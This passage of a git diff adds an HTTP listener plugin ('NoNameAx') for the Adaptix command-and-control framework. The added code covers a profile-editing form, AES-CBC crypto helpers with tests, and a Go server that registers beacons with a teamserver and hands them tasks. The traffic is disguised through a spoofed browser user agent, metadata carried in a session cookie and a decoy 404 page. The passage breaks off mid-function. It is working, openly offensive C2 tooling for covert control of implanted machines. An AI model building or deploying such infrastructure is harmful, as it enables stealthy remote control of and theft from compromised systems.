form.create_groupbox("Use SSL (HTTPS)", true); + sslGroup.setPanel(sslPanel); + sslGroup.setChecked(false); + + let netLayout = form.create_gridlayout(); + netLayout.addWidget(form.create_label("Host & Port:"), 0, 0); + netLayout.addWidget(comboHostBind, 0, 1); netLayout.addWidget(spinPortBind, 0, 2); + netLayout.addWidget(form.create_label("Encryption Key:"), 1, 0); + netLayout.addWidget(textlineEncryptKey, 1, 1); netLayout.addWidget(btnKey, 1, 2); + netLayout.addWidget(sslGroup, 2, 0, 1, 3); + + let netPanel = form.create_panel(); netPanel.setLayout(netLayout); + + // ========= [ Tab 2: General ] ========= + + let textUA = form.create_textline("Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0"); + let textBeaconHdr = form.create_textline("X-Beacon-Id"); + let comboRotation = form.create_combo(); comboRotation.addItems(["sequential","random"]); + let textHosts = form.create_list(); textHosts.setButtonsEnabled(true); textHosts.addItem("192.168.77.128:8080"); + let btnImport = form.create_button("Import JSON"); + let btnExport = form.create_button("Export JSON"); + let textProfileJson = form.create_textmulti(""); + + let genLayout = form.create_gridlayout(); + genLayout.addWidget(form.create_label("User-Agent:"), 0, 0); genLayout.addWidget(textUA, 0, 1, 1, 2); + genLayout.addWidget(form.create_label("Beacon ID:"), 1, 0); genLayout.addWidget(textBeaconHdr, 1, 1, 1, 2); + genLayout.addWidget(form.create_label("Rotation:"), 2, 0); genLayout.addWidget(comboRotation, 2, 1, 1, 2); + genLayout.addWidget(form.create_label("Hosts:"), 3, 0); genLayout.addWidget(textHosts, 3, 1, 1, 2); + genLayout.addWidget(btnImport, 4, 0); genLayout.addWidget(btnExport, 4, 1); + genLayout.addWidget(textProfileJson, 5, 0, 1, 3); + + let genPanel = form.create_panel(); genPanel.setLayout(genLayout); + + // ========= [ Tab 3: GET ] ========= + + let textGetUri = form.create_list(); textGetUri.setButtonsEnabled(true); textGetUri.addItem("/news/feed"); + let textGetHdrs = form.create_list(); textGetHdrs.setButtonsEnabled(true); + let textGetParams = form.create_list(); textGetParams.setButtonsEnabled(true); + let getMetaCfg = makeCfgRow("base64", false, "cookie", "__session"); + let getSrvCfg = makeCfgRow("raw", false, "body", ""); + + let getLayout = form.create_gridlayout(); + getLayout.addWidget(form.create_label("URIs:"), 0, 0); getLayout.addWidget(textGetUri, 0, 1, 1, 4); + getLayout.addWidget(form.create_label("Headers:"), 1, 0); getLayout.addWidget(textGetHdrs, 1, 1, 1, 4); + getLayout.addWidget(form.create_label("Params:"), 2, 0); getLayout.addWidget(textGetParams, 2, 1, 1, 4); + addCfgRow(getLayout, 3, "Metadata:", getMetaCfg); + addCfgRow(getLayout, 4, "Server:", getSrvCfg); + + let getPanel = form.create_panel(); getPanel.setLayout(getLayout); + + // ========= [ Tab 4: POST ] ========= + + let textPostUri = form.create_list(); textPostUri.setButtonsEnabled(true); textPostUri.addItem("/api/submit"); + let textPostHdrs = form.create_list(); textPostHdrs.setButtonsEnabled(true); + let postMetaCfg = makeCfgRow("raw", false, "header", "X-Request-Id"); + let postOutCfg = makeCfgRow("raw", false, "body", ""); + let postSrvCfg = makeCfgRow("raw", false, "body", ""); + + let postLayout = form.create_gridlayout(); + postLayout.addWidget(form.create_label("URIs:"), 0, 0); postLayout.addWidget(textPostUri, 0, 1, 1, 4); + postLayout.addWidget(form.create_label("Headers:"), 1, 0); postLayout.addWidget(textPostHdrs, 1, 1, 1, 4); + addCfgRow(postLayout, 2, "Metadata:", postMetaCfg); + addCfgRow(postLayout, 3, "Output:", postOutCfg); + addCfgRow(postLayout, 4, "Server:", postSrvCfg); + + let postPanel = form.create_panel(); postPanel.setLayout(postLayout); + + // ========= [ Tab 5: Error ] ========= + + let spinErrStatus = form.create_spin(); spinErrStatus.setRange(100,599); spinErrStatus.setValue(404); + let textErrBody = form.create_textmulti("\n

404 Not Found

"); + let textErrHdrs = form.create_list(); textErrHdrs.setButtonsEnabled(true); textErrHdrs.addItem("Content-Type: text/html"); + + let errLayout = form.create_gridlayout(); + errLayout.addWidget(form.create_label("Status:"), 0, 0); errLayout.addWidget(spinErrStatus, 0, 1); + errLayout.addWidget(form.create_label("Body:"), 1, 0); errLayout.addWidget(textErrBody, 1, 1); + errLayout.addWidget(form.create_label("Headers:"), 2, 0); errLayout.addWidget(textErrHdrs, 2, 1); + + let errPanel = form.create_panel(); errPanel.setLayout(errLayout); + + // ========= [ Import / Export ] ========= + + function loadProfile(cb) { + if (cb.user_agent) textUA.setText(cb.user_agent); + if (cb.beacon_id_header) textBeaconHdr.setText(cb.beacon_id_header); + if (cb.rotation) comboRotation.setCurrentIndex(cb.rotation === "random" ? 1 : 0); + if (cb.hosts && cb.hosts.length) { textHosts.clear(); for (let h of cb.hosts) textHosts.addItem(h); } + if (cb.get) { + if (cb.get.uri) { textGetUri.clear(); for (let u of cb.get.uri) textGetUri.addItem(u); } + let c = cb.get.client || cb.get; + if (c.headers) { textGetHdrs.clear(); for (let k in c.headers) textGetHdrs.addItem(k + ": " + c.headers[k]); } + if (c.parameters) { textGetParams.clear(); for (let k in c.parameters) textGetParams.addItem(k + "=" + c.parameters[k]); } + if (c.metadata) loadCfgRow(getMetaCfg, c.metadata); + let s = cb.get.server || {}; + if (s.output) loadCfgRow(getSrvCfg, s.output); + } + if (cb.post) { + if (cb.post.uri) { textPostUri.clear(); for (let u of cb.post.uri) textPostUri.addItem(u); } + let c = cb.post.client || cb.post; + if (c.headers) { textPostHdrs.clear(); for (let k in c.headers) textPostHdrs.addItem(k + ": " + c.headers[k]); } + if (c.metadata) loadCfgRow(postMetaCfg, c.metadata); + if (c.output) loadCfgRow(postOutCfg, c.output); + let s = cb.post.server || {}; + if (s.output) loadCfgRow(postSrvCfg, s.output); + } + if (cb.server_error) { + if (cb.server_error.status) spinErrStatus.setValue(cb.server_error.status); + if (cb.server_error.body) textErrBody.setText(cb.server_error.body); + if (cb.server_error.headers) { textErrHdrs.clear(); for (let k in cb.server_error.headers) textErrHdrs.addItem(k + ": " + cb.server_error.headers[k]); } + } + } + + form.connect(btnImport, "clicked", function() { + let path = ax.prompt_open_file("Import Profile JSON", "*.json"); + if (path) { + let b64 = ax.file_read(path); + if (b64) { + let json = ax.decode_data("base64", b64, ""); + try { + let p = JSON.parse(json); + let cb = (p.callbacks && p.callbacks[0]) ? p.callbacks[0] : p; + loadProfile(cb); + textProfileJson.setText(json); + } catch(e) { ax.log_error("Failed to parse JSON: " + e); } + } + } + }); + + form.connect(btnExport, "clicked", function() { + let profile = { callbacks: [{ hosts: listToArray(textHosts), user_agent: textUA.text(), + beacon_id_header: textBeaconHdr.text(), rotation: comboRotation.currentText(), + server_error: { status: spinErrStatus.value(), body: textErrBody.text(), headers: headersToObj(textErrHdrs) }, + get: { uri: listToArray(textGetUri), client: { headers: headersToObj(textGetHdrs), + metadata: readCfgRow(getMetaCfg), parameters: paramsToObj(textGetParams) }, + server: { headers: {}, output: readCfgRow(getSrvCfg) } }, + post: { uri: listToArray(textPostUri), client: { headers: headersToObj(textPostHdrs), + metadata: readCfgRow(postMetaCfg), output: readCfgRow(postOutCfg) }, + server: { headers: {}, output: readCfgRow(postSrvCfg) } } + }] }; + let json = JSON.stringify(profile, null, 2); + textProfileJson.setText(json); + let path = ax.prompt_save_file("profile.json", "Export Profile JSON", "*.json"); + if (path) ax.file_write_text(path, json); + }); + + // ========= [ Tabs ] ========= + + let tabs = form.create_tabs(); + tabs.addTab(netPanel, "Network"); + tabs.addTab(genPanel, "General"); + tabs.addTab(getPanel, "GET"); + tabs.addTab(postPanel, "POST"); + tabs.addTab(errPanel, "Error"); + + let mainLayout = form.create_vlayout(); + mainLayout.addWidget(tabs); + let panel = form.create_panel(); panel.setLayout(mainLayout); + + // ========= [ Container ] ========= + + let container = form.create_container(); + container.put("host_bind", comboHostBind); + container.put("port_bind", spinPortBind); + container.put("encrypt_key", textlineEncryptKey); + container.put("ssl", sslGroup); + container.put("ssl_cert", certSelector); + container.put("ssl_key", keySelector); + container.put("callbacks_hosts", textHosts); + container.put("profile_json", textProfileJson); + + return { ui_panel: panel, ui_container: container, ui_height: 350, ui_width: 550 }; +} diff --git a/src_server/listener_nonameax_http/config.yaml b/src_server/listener_nonameax_http/config.yaml new file mode 100644 index 0000000..27d647b --- /dev/null +++ b/src_server/listener_nonameax_http/config.yaml @@ -0,0 +1,8 @@ +# NoNameAx HTTP listener config +extender_type: "listener" +extender_file: "listener_nonameax_http.so" +ax_file: "ax_config.axs" + +listener_name: "NoNameAxHTTP" +listener_type: "external" +protocol: "http" diff --git a/src_server/listener_nonameax_http/go.mod b/src_server/listener_nonameax_http/go.mod new file mode 100644 index 0000000..8712039 --- /dev/null +++ b/src_server/listener_nonameax_http/go.mod @@ -0,0 +1,5 @@ +module nonameax/listener_http + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 // indirect diff --git a/src_server/listener_nonameax_http/go.sum b/src_server/listener_nonameax_http/go.sum new file mode 100644 index 0000000..8889bb8 --- /dev/null +++ b/src_server/listener_nonameax_http/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/src_server/listener_nonameax_http/pl_crypto.go b/src_server/listener_nonameax_http/pl_crypto.go new file mode 100644 index 0000000..d0f955c --- /dev/null +++ b/src_server/listener_nonameax_http/pl_crypto.go @@ -0,0 +1,95 @@ +package main + +// DO NOT EDIT IN ISOLATION - keep byte-identical with +// extender/listener_nonameax_http/pl_crypto.go. See ADR-002 for the +// duplicate-instead-of-share decision. + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "errors" +) + +const aesBlock = 16 + +// EncryptCBC takes a 16-byte key, a 16-byte IV, and a plaintext, PKCS#7-pads +// the plaintext, AES-128-CBC encrypts, and returns IV || ciphertext. +func EncryptCBC(key, iv, plaintext []byte) ([]byte, error) { + if len(key) != aesBlock { + return nil, errors.New("nax-crypto: key must be 16 bytes") + } + if len(iv) != aesBlock { + return nil, errors.New("nax-crypto: IV must be 16 bytes") + } + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + padded := pkcs7Pad(plaintext, aesBlock) + ct := make([]byte, len(padded)) + cipher.NewCBCEncrypter(block, iv).CryptBlocks(ct, padded) + + out := make([]byte, aesBlock+len(ct)) + copy(out, iv) + copy(out[aesBlock:], ct) + return out, nil +} + +// EncryptCBCRandomIV is the production helper - generates a fresh random IV. +func EncryptCBCRandomIV(key, plaintext []byte) ([]byte, error) { + iv := make([]byte, aesBlock) + if _, err := rand.Read(iv); err != nil { + return nil, err + } + return EncryptCBC(key, iv, plaintext) +} + +// DecryptCBC takes a 16-byte key and an envelope of the form IV || ciphertext, +// AES-128-CBC decrypts, validates and strips PKCS#7 padding, returns plaintext. +func DecryptCBC(key, envelope []byte) ([]byte, error) { + if len(key) != aesBlock { + return nil, errors.New("nax-crypto: key must be 16 bytes") + } + if len(envelope) < aesBlock+aesBlock { + return nil, errors.New("nax-crypto: envelope too short") + } + if (len(envelope)-aesBlock)%aesBlock != 0 { + return nil, errors.New("nax-crypto: ciphertext length not a multiple of block size") + } + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + iv := envelope[:aesBlock] + ct := envelope[aesBlock:] + pt := make([]byte, len(ct)) + cipher.NewCBCDecrypter(block, iv).CryptBlocks(pt, ct) + return pkcs7Unpad(pt) +} + +func pkcs7Pad(p []byte, block int) []byte { + pad := block - (len(p) % block) + out := make([]byte, len(p)+pad) + copy(out, p) + for i := len(p); i < len(out); i++ { + out[i] = byte(pad) + } + return out +} + +func pkcs7Unpad(p []byte) ([]byte, error) { + if len(p) == 0 { + return nil, errors.New("nax-crypto: empty padded plaintext") + } + pad := int(p[len(p)-1]) + if pad < 1 || pad > aesBlock || pad > len(p) { + return nil, errors.New("nax-crypto: invalid PKCS#7 padding byte") + } + for i := len(p) - pad; i < len(p); i++ { + if p[i] != byte(pad) { + return nil, errors.New("nax-crypto: corrupted PKCS#7 padding") + } + } + return p[:len(p)-pad], nil +} diff --git a/src_server/listener_nonameax_http/pl_crypto_test.go b/src_server/listener_nonameax_http/pl_crypto_test.go new file mode 100644 index 0000000..c19fdbb --- /dev/null +++ b/src_server/listener_nonameax_http/pl_crypto_test.go @@ -0,0 +1,81 @@ +package main + +import ( + "bytes" + "encoding/hex" + "testing" +) + +// Golden vectors - generated with openssl enc -aes-128-cbc. +var goldenKey = mustHex("000102030405060708090a0b0c0d0e0f") +var goldenIV = mustHex("101112131415161718191a1b1c1d1e1f") +var goldenPlain = mustHex("02000000") +var goldenCipher = mustHex("e4ef371bff385eece8fea125f86bbd77") + +func mustHex(s string) []byte { + b, err := hex.DecodeString(s) + if err != nil { + panic(err) + } + return b +} + +func TestEncryptCBCMatchesGolden(t *testing.T) { + got, err := EncryptCBC(goldenKey, goldenIV, goldenPlain) + if err != nil { + t.Fatalf("EncryptCBC: %v", err) + } + if !bytes.Equal(got[:16], goldenIV) { + t.Errorf("IV prefix mismatch: got %x, want %x", got[:16], goldenIV) + } + if !bytes.Equal(got[16:], goldenCipher) { + t.Errorf("ciphertext mismatch: got %x, want %x", got[16:], goldenCipher) + } +} + +func TestDecryptCBCRoundTrip(t *testing.T) { + envelope, err := EncryptCBC(goldenKey, goldenIV, goldenPlain) + if err != nil { + t.Fatalf("EncryptCBC: %v", err) + } + got, err := DecryptCBC(goldenKey, envelope) + if err != nil { + t.Fatalf("DecryptCBC: %v", err) + } + if !bytes.Equal(got, goldenPlain) { + t.Errorf("round-trip mismatch: got %x, want %x", got, goldenPlain) + } +} + +func TestDecryptCBCRejectsTooShort(t *testing.T) { + if _, err := DecryptCBC(goldenKey, []byte("short")); err == nil { + t.Error("expected error for envelope shorter than IV") + } +} + +func TestDecryptCBCRejectsBadPadding(t *testing.T) { + envelope, _ := EncryptCBC(goldenKey, goldenIV, goldenPlain) + envelope[len(envelope)-1] ^= 0x01 + if _, err := DecryptCBC(goldenKey, envelope); err == nil { + t.Error("expected error after corrupting last ciphertext byte (PKCS#7 padding will be invalid)") + } +} + +func TestEncryptCBCRandomIVDoesNotMatchGolden(t *testing.T) { + a, err := EncryptCBCRandomIV(goldenKey, goldenPlain) + if err != nil { + t.Fatalf("a: %v", err) + } + b, err := EncryptCBCRandomIV(goldenKey, goldenPlain) + if err != nil { + t.Fatalf("b: %v", err) + } + if bytes.Equal(a, b) { + t.Error("two random-IV encryptions of the same plaintext should differ") + } + pa, _ := DecryptCBC(goldenKey, a) + pb, _ := DecryptCBC(goldenKey, b) + if !bytes.Equal(pa, goldenPlain) || !bytes.Equal(pb, goldenPlain) { + t.Error("round trip via random IV failed") + } +} diff --git a/src_server/listener_nonameax_http/pl_http.go b/src_server/listener_nonameax_http/pl_http.go new file mode 100644 index 0000000..e60bad5 --- /dev/null +++ b/src_server/listener_nonameax_http/pl_http.go @@ -0,0 +1,584 @@ +package main + +import ( + "context" + "crypto/tls" + "encoding/base64" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + "net" + "net/http" + "os" + "path/filepath" + "strconv" + "sync" + "time" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +func base64Decode(s string) ([]byte, error) { + if b, err := base64.StdEncoding.DecodeString(s); err == nil { + return b, nil + } + return base64.RawStdEncoding.DecodeString(s) +} + +func naxListenerLogInfo(format string, args ...any) { fmt.Printf("[NoNameAx-HTTP] [*] "+format+"\n", args...) } +func naxListenerLogOk(format string, args ...any) { fmt.Printf("[NoNameAx-HTTP] [+] "+format+"\n", args...) } +func naxListenerLogErr(format string, args ...any) { fmt.Printf("[NoNameAx-HTTP] [-] "+format+"\n", args...) } + +// agentWatermark must match extender/config.yaml::agent_watermark. +// Adaptix uses the watermark to resolve which agent plugin to dispatch +// CreateAgent to when TsAgentCreate is called. +const agentWatermark = "a04a4178" + +// httpServer is the listener's HTTP front-end. The profile-driven handler +// extracts client data via reverse transforms (decode/unmask/decrypt) and +// builds server responses via forward transforms (encrypt/mask/encode). +type httpServer struct { + name string + host string + port int + ssl bool + sslCert []byte + sslKey []byte + uri map[string]struct{} // bootstrap URIs (pre-profile) + hbHeader string // legacy header name for beaconID fallback + encryptKey []byte // raw 16 bytes + profileRaw string + profile *ProfileConfig + + pendingProfile sync.Map // key: beaconID, value: bool + + // Per-agent profile overrides for runtime profile updates. + agentProfiles sync.Map // key: adaptixID (string), value: *ProfileConfig + agentPrevProfiles sync.Map // key: adaptixID (string), value: *ProfileConfig (previous override kept for transition window) + beaconIDHeaders []string // all known beacon ID header names (default + overrides) + profileStoreCheck time.Time // last poll time (throttled to once per 5s) + profileStoreRaw sync.Map // key: agentID, value: []byte (cached raw store data for change detection) + + ts Teamserver + + // agentIDMap maps the 16-hex-char beaconID (from X-Beacon-Id) to the + // server-assigned AgentData.Id returned by TsAgentCreate. Adaptix stores + // the agent under AgentData.Id in its internal DB; subsequent calls to + // TsAgentProcessData and TsAgentGetHostedAll must use that ID, NOT the + // beaconID parameter we passed to TsAgentCreate. + // + // This mirrors the Kharon pattern: + // agentDataRes, _ := ts.TsAgentCreate(...) + // newAgentID := agentDataRes.Id // server-assigned - use this + // + // See: out_source_projects/Kharon/listener_kharon_http/src_server/pl_http.go:737 + agentIDMap sync.Map // key: beaconID (string), value: adaptixID (string) + + mu sync.Mutex + srv *http.Server +} + +/* ========= [ Server constructor ] ========= */ + +func newHTTPServer(name, config string, ts Teamserver) (*httpServer, error) { + var cfg map[string]any + if err := json.Unmarshal([]byte(config), &cfg); err != nil { + return nil, err + } + + host, _ := cfg["host_bind"].(string) + if host == "" { + host = "0.0.0.0" + } + portFloat, _ := cfg["port_bind"].(float64) + port := int(portFloat) + if port < 1 || port > 65535 { + return nil, errors.New("listener: invalid port_bind") + } + + profile := parseProfileConfig(cfg) + + uriSet := map[string]struct{}{} + uriSet["/api/v1/status"] = struct{}{} + for _, u := range profile.Get.URIs { + uriSet[u] = struct{}{} + } + for _, u := range profile.Post.URIs { + uriSet[u] = struct{}{} + } + + hbHeader := profile.BeaconIdHeader + if hbHeader == "" { + hbHeader = "X-Beacon-Id" + } + naxListenerLogInfo("beacon ID header: %s", hbHeader) + + keyHex, _ := cfg["encrypt_key"].(string) + keyBytes, err := hex.DecodeString(keyHex) + if err != nil || len(keyBytes) != 16 { + return nil, errors.New("listener: encrypt_key must be 32 hex chars (16 bytes)") + } + + sslEnabled, _ := cfg["ssl"].(bool) + var sslCert, sslKey []byte + if sslEnabled { + if raw, ok := cfg["ssl_cert"].(string); ok && raw != "" { + if decoded, err := base64Decode(raw); err == nil { + sslCert = decoded + } else { + sslCert = []byte(raw) + } + } + if raw, ok := cfg["ssl_key"].(string); ok && raw != "" { + if decoded, err := base64Decode(raw); err == nil { + sslKey = decoded + } else { + sslKey = []byte(raw) + } + } + } + + s := &httpServer{ + name: name, + host: host, + port: port, + ssl: sslEnabled, + sslCert: sslCert, + sslKey: sslKey, + uri: uriSet, + hbHeader: hbHeader, + encryptKey: keyBytes, + profileRaw: config, + profile: profile, + ts: ts, + } + s.beaconIDHeaders = []string{hbHeader} + s.loadProfileOverrides() + return s, nil +} + +func (s *httpServer) bindHost() string { return s.host } +func (s *httpServer) bindPort() int { return s.port } +func (s *httpServer) profileJSON() ([]byte, error) { return []byte(s.profileRaw), nil } +func (s *httpServer) edit(_ string) (adaptix.ListenerData, error) { + return adaptix.ListenerData{}, errors.New("listener: edit not supported in PoC (Phase 5+)") +} + +func (s *httpServer) start() error { + s.mu.Lock() + defer s.mu.Unlock() + if s.srv != nil { + return errors.New("listener: already started") + } + + mux := http.NewServeMux() + mux.HandleFunc("/", s.rootHandler) + + naxListenerLogInfo("start: URIs=%v ssl=%v", s.uri, s.ssl) + naxListenerLogInfo("start: beacon_id=%s error=%d", s.hbHeader, s.profile.Error.Status) + + addr := net.JoinHostPort(s.host, strconv.Itoa(s.port)) + s.srv = &http.Server{Addr: addr, Handler: mux, ReadHeaderTimeout: 5 * time.Second, IdleTimeout: 120 * time.Second} + + if s.ssl { + certPath, keyPath, err := s.writeTLSFiles() + if err != nil { + s.srv = nil + return fmt.Errorf("listener: TLS setup: %w", err) + } + cert, err := tls.LoadX509KeyPair(certPath, keyPath) + if err != nil { + s.srv = nil + return fmt.Errorf("listener: load certificate: %w", err) + } + s.srv.TLSConfig = &tls.Config{ + Certificates: []tls.Certificate{cert}, + NextProtos: []string{"http/1.1"}, + } + go func() { _ = s.srv.ListenAndServeTLS("", "") }() + } else { + go func() { _ = s.srv.ListenAndServe() }() + } + + deadline := time.Now().Add(500 * time.Millisecond) + for time.Now().Before(deadline) { + if s.ssl { + conn, err := tls.DialWithDialer(&net.Dialer{Timeout: 50 * time.Millisecond}, "tcp", addr, &tls.Config{InsecureSkipVerify: true}) + if err == nil { + _ = conn.Close() + return nil + } + } else { + conn, err := net.DialTimeout("tcp", addr, 20*time.Millisecond) + if err == nil { + _ = conn.Close() + return nil + } + } + time.Sleep(10 * time.Millisecond) + } + return errors.New("listener: bind " + addr + " did not become ready in 500ms") +} + +func (s *httpServer) writeTLSFiles() (certPath, keyPath string, err error) { + dir := filepath.Join(ListenerDataDir, s.name) + if _, statErr := os.Stat(dir); os.IsNotExist(statErr) { + if err = os.MkdirAll(dir, os.ModePerm); err != nil { + return "", "", fmt.Errorf("create listener dir: %w", err) + } + } + certPath = filepath.Join(dir, "listener.crt") + keyPath = filepath.Join(dir, "listener.key") + if err = os.WriteFile(certPath, s.sslCert, 0600); err != nil { + return "", "", fmt.Errorf("write cert: %w", err) + } + if err = os.WriteFile(keyPath, s.sslKey, 0600); err != nil { + return "", "", fmt.Errorf("write key: %w", err) + } + return certPath, keyPath, nil +} + +func (s *httpServer) stop() error { + s.mu.Lock() + defer s.mu.Unlock() + if s.srv == nil { + return nil + } + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + err := s.srv.Shutdown(ctx) + s.srv = nil + return err +} + +func (s *httpServer) buildProfileFrame() []byte { + body := EncodeProfileBodyV2(s.profile) + return EncodeFrame(WireTypeProfile, body) +} + +// beaconHandler - profile-driven handler with OutputConfig transforms. +// 1. Determine GET or POST. +// 2. Extract beaconID from the configured ClientMeta placement. +// 3. For GET: decode client data from ClientMeta (cookie/header/param). +// For POST: extract data from ClientOutput placement. +// 4. Apply reverse transforms (strip prepend/append, decode, unmask, decrypt). +// 5. Route to agent create/process. +// 6. Build response with forward transforms. +// +// For backward compatibility with beacons that haven't received a v2 profile +// yet, the handler falls back to the legacy hbHeader extraction when the +// profile's ClientMeta is in the default "raw header" mode. +func (s *httpServer) rootHandler(w http.ResponseWriter, r *http.Request) { + s.pollProfileStore() + + if r.Method != http.MethodPost && r.Method != http.MethodGet { + s.errorHandler(w, r) + return + } + + // Try to extract a valid beaconID from any known header. + var beaconID string + for _, hdr := range s.beaconIDHeaders { + candidate := r.Header.Get(hdr) + if isValidBeaconID(candidate) { + beaconID = candidate + break + } + } + if beaconID == "" { + s.forceReloadProfiles() + for _, hdr := range s.beaconIDHeaders { + candidate := r.Header.Get(hdr) + if isValidBeaconID(candidate) { + beaconID = candidate + break + } + } + } + if beaconID == "" { + s.errorHandler(w, r) + return + } + + s.beaconHandler(w, r, beaconID) +} + +// tryDecodeWithProfile attempts to extract and decrypt client data using a +// specific profile's transaction config. Returns (plaintext, tx, error). +// For POST requests, rawBody must be pre-read since http.Request.Body is +// single-read; for GET requests rawBody is ignored. +func (s *httpServer) tryDecodeWithProfile(r *http.Request, isGet bool, profile *ProfileConfig, rawBody []byte) ([]byte, *HTTPTransaction, error) { + var tx *HTTPTransaction + if isGet { + tx = &profile.Get + } else { + tx = &profile.Post + } + + if isGet { + rawMeta, err := extractMeta(&tx.ClientMeta, r) + if err != nil || rawMeta == "" { + return nil, nil, errors.New("meta extraction failed") + } + decoded, err := decodeClientInput(&tx.ClientMeta, []byte(rawMeta)) + if err != nil { + return nil, nil, err + } + return decoded, tx, nil + } + + clientOutput := tx.ClientOutput + if clientOutput == nil { + clientOutput = &OutputConfig{Format: "raw", Placement: "body"} + } + decoded, err := decodeClientInput(clientOutput, rawBody) + if err != nil { + if clientOutput.Format == "raw" || clientOutput.Format == "" { + return nil, nil, err + } + return rawBody, tx, nil + } + return decoded, tx, nil +} + +func (s *httpServer) beaconHandler(w http.ResponseWriter, r *http.Request, beaconID string) { + isGet := r.Method == http.MethodGet + + // Pre-read POST body so we can retry with different profiles. + var rawBody []byte + if !isGet { + body, err := io.ReadAll(http.MaxBytesReader(nil, r.Body, 32<<20)) + if err != nil { + naxListenerLogErr("POST body read error beacon=%s: %v", beaconID, err) + s.errorHandler(w, r) + return + } + rawBody = body + } + + // Build list of profiles to try: current override, previous override, then + // default. During the transition window (new profile saved to store but + // agent hasn't applied it yet), the agent is still sending with the old + // profile. Keeping the previous override ensures we can decode regardless + // of which profile the agent is currently using. + profilesToTry := []*ProfileConfig{s.profile} + var adaptixIDForProfile string + if cachedID, ok := s.agentIDMap.Load(beaconID); ok { + adaptixIDForProfile = cachedID.(string) + } + if adaptixIDForProfile != "" { + var candidates []*ProfileConfig + if override, ok := s.agentProfiles.Load(adaptixIDForProfile); ok { + candidates = append(candidates, override.(*ProfileConfig)) + } + if prev, ok := s.agentPrevProfiles.Load(adaptixIDForProfile); ok { + candidates = append(candidates, prev.(*ProfileConfig)) + } + if len(candidates) > 0 { + profilesToTry = append(candidates, s.profile) + } + } + + var clientData []byte + var tx *HTTPTransaction + for i, prof := range profilesToTry { + decoded, usedTx, err := s.tryDecodeWithProfile(r, isGet, prof, rawBody) + if err == nil { + clientData = decoded + tx = usedTx + break + } + label := "default" + if i == 0 && len(profilesToTry) > 1 { + label = "current" + } else if i == 1 && len(profilesToTry) > 2 { + label = "prev" + } + postOutFmt := "nil" + if !isGet && prof.Post.ClientOutput != nil { + postOutFmt = prof.Post.ClientOutput.Format + "/" + prof.Post.ClientOutput.Placement + } + naxListenerLogInfo("tryDecode[%s]: beacon=%s beaconHdr=%s postOut=%s err=%v", label, beaconID, prof.BeaconIdHeader, postOutFmt, err) + } + if clientData == nil { + naxListenerLogErr("beaconHandler: all profile decode attempts failed beacon=%s adaptixID=%s method=%s bodyLen=%d profiles=%d", beaconID, adaptixIDForProfile, r.Method, len(rawBody), len(profilesToTry)) + s.errorHandler(w, r) + return + } + + // Step 3: Route the beacon using the server-assigned adaptixID, not the raw beaconID. + // clientData is AES-encrypted; the server's Agent.ProcessData calls Extender.Decrypt. + var adaptixID string + register := false + + if cachedID, ok := s.agentIDMap.Load(beaconID); ok { + candidate := cachedID.(string) + if s.ts != nil && s.ts.TsAgentIsExists(candidate) { + adaptixID = candidate + _ = s.ts.TsAgentProcessData(adaptixID, clientData) + } else { + s.agentIDMap.Delete(beaconID) + register = true + } + } else { + register = true + } + + if register && s.ts != nil { + if s.ts.TsAgentIsExists(beaconID) { + adaptixID = beaconID + s.agentIDMap.Store(beaconID, adaptixID) + _ = s.ts.TsAgentProcessData(adaptixID, clientData) + } else { + remoteAddr, _, splitErr := net.SplitHostPort(r.RemoteAddr) + if splitErr != nil { + remoteAddr = r.RemoteAddr + } + beatWithId := make([]byte, 16+16+len(clientData)) + copy(beatWithId[:16], beaconID) + copy(beatWithId[16:32], s.encryptKey) + copy(beatWithId[32:], clientData) + agentDataRes, err := s.ts.TsAgentCreate(agentWatermark, beaconID, beatWithId, s.name, remoteAddr, true) + if err == nil { + adaptixID = agentDataRes.Id + s.agentIDMap.Store(beaconID, adaptixID) + s.pendingProfile.Store(beaconID, true) + } + } + } + + // Stamp LastTick + if adaptixID != "" && s.ts != nil { + _ = s.ts.TsAgentSetTick(adaptixID, s.name) + } + + // Step 4: Build and send response. + // Use the same tx that successfully decoded the request - this ensures + // the response is encoded in the format the agent currently expects. + // + // POST responses MUST NOT deliver tasks: the beacon only processes task + // frames from the heartbeat GET response. TsAgentGetHostedAll marks + // tasks as dispatched, so including them in a POST response the beacon + // ignores silently drops them. + if _, pending := s.pendingProfile.LoadAndDelete(beaconID); pending && len(s.profile.Get.URIs) > 0 { + s.writeProfileResponse(w, tx, beaconID) + } else if isGet { + s.writeResponseOrNoTasks(w, adaptixID, tx) + } else { + s.writeNoTasks(w, tx) + } +} + +// writeServerResponse encrypts payload, applies forward transforms per the +// transaction's ServerOutput, sets server headers, and writes the response. +func (s *httpServer) writeServerResponse(w http.ResponseWriter, tx *HTTPTransaction, payload []byte) { + encoded, err := encodeServerOutput(&tx.ServerOutput, payload) + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + + // Apply server headers from profile + if tx.ServerHeaders != nil { + for k, v := range tx.ServerHeaders { + w.Header().Set(k, v) + } + } else { + w.Header().Set("Content-Type", "application/octet-stream") + } + w.Header().Set("Connection", "keep-alive") + w.WriteHeader(http.StatusOK) + _, _ = w.Write(encoded) +} + +func (s *httpServer) writeNoTasks(w http.ResponseWriter, tx *HTTPTransaction) { + // If the profile defines an EmptyResp for the server output, use it. + if tx.ServerOutput.EmptyResp != "" { + if tx.ServerHeaders != nil { + for k, v := range tx.ServerHeaders { + w.Header().Set(k, v) + } + } else { + w.Header().Set("Content-Type", "application/octet-stream") + } + w.Header().Set("Connection", "keep-alive") + w.WriteHeader(http.StatusOK) + _, _ = w.Write([]byte(tx.ServerOutput.EmptyResp)) + return + } + + // Default: locally-encrypted NO_TASKS frame (not routed through server PackData) + frame := EncodeFrame(WireTypeNoTasks, nil) + encrypted, err := EncryptCBCRandomIV(s.encryptKey, frame) + if err != nil { + http.Error(w, "internal error", 